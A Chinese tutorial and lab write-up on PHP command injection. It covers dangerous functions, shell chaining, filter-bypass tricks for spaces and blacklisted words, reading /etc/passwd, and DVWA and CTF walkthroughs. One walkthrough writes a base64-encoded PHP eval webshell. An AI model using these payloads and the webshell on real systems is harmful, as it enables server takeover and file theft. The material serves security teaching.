命令执行漏洞
命令执行漏洞是指服务器没有对执行的命令进行过滤,用户可以随意执行系统命令,命令执行漏洞属于高危漏洞之一。
这个漏洞存在的危害:
- 获取WEB服务器权限,执行系统命令和读取文件
- 反弹shell
- 控制整个网站甚至整个服务器
常见函数
- 常见的命令执行漏洞有:
1 | system() |
认识一下以上函数以及他们的用法:
- system():
1 | system ( string `$command` [, int `&$return_var` ] ) : string |
system()函数和其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。
例子:
1 |
|
- passthru():
1 | void passthru (string command [, int return_var]) |
passthru() 允许运行外部程序,并在屏幕上显示结果。不需要使用 echo 或 return 来查看结果;它们会显示在浏览器上。
例子:
1 |
|
- exec():
1 | exec ( string $command [, array &$output [, int &$return_var ]] ) : string |
exec()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。所以我们需要打印才能看见结果。
例子:
1 |
|
- shell_exec():
1 | shell_exec ( string $cmd ) : string |
用于通过shell执行命令并以字符串的形式返回完整的输出。
例子:
1 |
|
- popen():
1 | popen ( string $command , string $mode ) : resource |
popen()函数打开一个进程管道来执行给定的命令(该进程由派生给定的 command 命令执行而产生),返回一个文件句柄。
例子:
1 | $fp=popen("/bin/ls -l", "r"); |
常用指令
服务器基本都是在Linux下运行的,所以这里介绍的都是Linux指令。
- 显示当前目录内容
1 | dir(windows下用) |
- 查看当前用户
1 | users |
- 查看当前绝对路径
1 | pwd |
- 切换路径
1 | 进入目录: |
- 查看文件内容:
1 | cat /flag 由第一行开始显示内容,并将所有内容输出 |
- 查看文件位置
1 | #find /tmp/ -name '*lock*' 查询文件名中包含lock的文件所在路径 |
- 打印:
1 | echo "123" |
我们可以就可以用echo写文件
1 | echo "flag">hacker.txt 即生成一个内容为flag的hacker.txt |
- base64加解密:
1 | 加密: |
连接字符
- 系统命令中执行同时执行多条命令的方法
- 管道符“& 和&&”
1 | a & b 表示a和b同时运行 |
- 管道符“|”
1 | 第一个命令command 1执行的结果作为command 2的输入传给command 2 |
这个和SQL 注入漏洞差不多,就比如分号“ ‘ ‘”,“union select”等后面输入我们想要执行的代码
- 管道符“||”
先执行前一条语句,如果前面为假,再执行后一条语句
1 | 例如:ping 1 || whoami |
- 管道符“;”
执行完前面的语句在执行后面的
1 | ls|whoami |
- >
1 | echo "<?php phpinfo();?>" >hack.php 表示将php代码写进hack.php中 |
- >>
1 | echo "123">>hack.txt 表示将123追加到hack.txt内容后面 |
演示:
1 | echo "123">1.txt |
重要文件
/etc/passwd文件。
1 | 该文件中包含了所有用户登录名清单;为所有用户指定了主目录;在登录时使用的shell程序名称等。该文件还保存了用户口令;给每个用户提供系统识别号 |
该文件在linux系统下是必不可少的,并且通常来说如果不特别做权限设置,以我们web服务下常用的www用户组是具有该文件的读权限的,因此当我们需要验证该漏洞是否可以被利用时会去尝试读取该文件。
绕过方法
我们面对命令执行漏洞,一般都需要绕过限制。下面讲一下绕过方法
前缀限制
分号
1 | ls;whoami |
连接符
1 | ls & whoami |
空格过滤
空格过滤会经常遇到,基本都被过滤了,但是绕过的方法也是非常多的。
- ${IFS}
1 | cat${IFS}flag //等同于cat flag |
- $IFS$9 $9指传过来的第9个参数
1 | cat$IFS$9flag //等同于cat flag |
- %09(需要PHP环境)
1 | cat%09flag //等同于cat flag |
- <或者<>重定向
1 | cat<flag //等同于cat flag |
这里解释一下${IFS},$IFS,$IFS$9的区别,首先$IFS在linux下表示分隔符,只有cat$IFSflag.txt的时候,bash解释器会把整个IFSa当做变量名,所以导致没有办法运行,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,而$9指的是当前系统shell进程的第九个参数的持有者,就是一个空字符串,因此$9相当于没有加东西,等于做了一个前后隔离。
黑名单过滤
比如:过滤了cat或者flag
- 变量拼接
1 | a=c;b=at;c=f;d=lag; $a$b $c$d //$a$b $c$d等同于cat flag |
- 单引号,双引号绕过
在引号内,加空格和没加空格是不一样的。在我们用一对引号穿插进要输入的命令中的时候,可以达到绕过黑名单且不影响最终结果的功效
1 | ca''t flag |
- 编码绕过
1 | $(printf "\154\163") ===========================>ls |
- 读文件绕过(当cat被过滤)
用其它可以读文件的指令代替cat即可。上面的常用指令中已有说明,此处不再描述。
- 反斜杠绕过
反斜杠为换行符,Linux允许我们将语句打散到多行再执行,因此可以有:
1 | c\a\t fla\g |
例子:
1 | [root@VM-8-9-centos /]# ca\ |
DVWA实践
low级别:
输入127.0.0.1,发现是ping本机的结果
加一个管道符,看看是否执行后面命令
1 | 127.0.0.1|dir |
发现可执行,那么这道题就可以说结束了。
Medium级别:
1 | 127.0.0.1|dir |
发现还是可以用,看了下源码。原来过滤了&&和; 但是没有过滤|,所以这道题也可以说结束了。
High级别:
1 | 127.0.0.1|dir |
怎么那么简单?看了下源代码
发现过滤的|后面有个空格,所以127.0.0.1|dir 直接执行了dir。
工作室靶场
ping
开局一个输入框一个提交按钮
1 | 127.0.0.1|whoami |
发现管道符可以绕过执行命令,那就ls看看。
1 | 127.0.0.1|ls |
发现只有一个index.php。看看能不能写文件。
1 | 127.0.0.1|echo "<?php phpinfo();?>" > hack.php |
可用,写个马儿试试
1 | 127.0.0.1|echo "<?php @eval($_POST['hack']);?>" >hack.php |
发现可以写进去,但是执行不了任何命令。看看到底写了什么进去
1 | 127.0.0.1|cat hack.php>1.txt |
发现$后面的东西被过滤了。那就绕过,我这里选择用base64编码
1 | 127.0.0.1|echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7ID8+"|base64 -d >hack.php |
再看一道题
1 |
|
ban了ls,使用dir查看目录
1 | ?cmd=dir%09.%09 |
看见flag文件 CvvD_F14g_1s_h4rehaha.php ,cut命令读取获得flag
1 | cmd=cut%09-f%091%09CvvD_F14g_1s_h4rehaha.php%09 |
参考blog:http://www.plasf.cn/